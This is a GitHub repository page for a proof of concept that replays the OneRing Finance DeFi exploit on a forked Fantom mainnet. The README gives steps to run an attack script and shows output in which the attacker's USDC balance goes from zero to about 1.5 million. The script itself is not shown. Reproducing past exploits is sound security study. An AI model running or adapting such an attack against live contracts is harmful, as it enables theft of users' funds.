Name		Name	Last commit message	Last commit date
parent directory ..
contracts		contracts
scripts		scripts
.env.example		.env.example
.eslintignore		.eslintignore
.eslintrc.js		.eslintrc.js
.gitignore		.gitignore
.npmignore		.npmignore
.prettierignore		.prettierignore
.prettierrc		.prettierrc
.solhint.json		.solhint.json
.solhintignore		.solhintignore
README.md		README.md
hardhat.config.ts		hardhat.config.ts
package-lock.json		package-lock.json
package.json		package.json
tsconfig.json		tsconfig.json

README.md

OneRing Finance re-hack PoC

How to run

Install nodejs/npm first

Set up the forking url (in hardhat.config.ts)

e.g. https://speedy-nodes-nyc.moralis.io/xxxxxxxxxxx/fantom/mainnet ( You need to apply for speedy-nodes from moralis.io)

Then run

npm install
npx hardhat run scripts/attack.ts

You will see similar output later

USDC balance of attacker :  0.0
Exploiting...
Exploit complete.
USDC balance of attacker :  1526751.541726

This means the attack is complete

The block height of the fork is 34041499

Link

https://medium.com/oneringfinance/onering-finance-exploit-post-mortem-after-oshare-hack-602a529db99b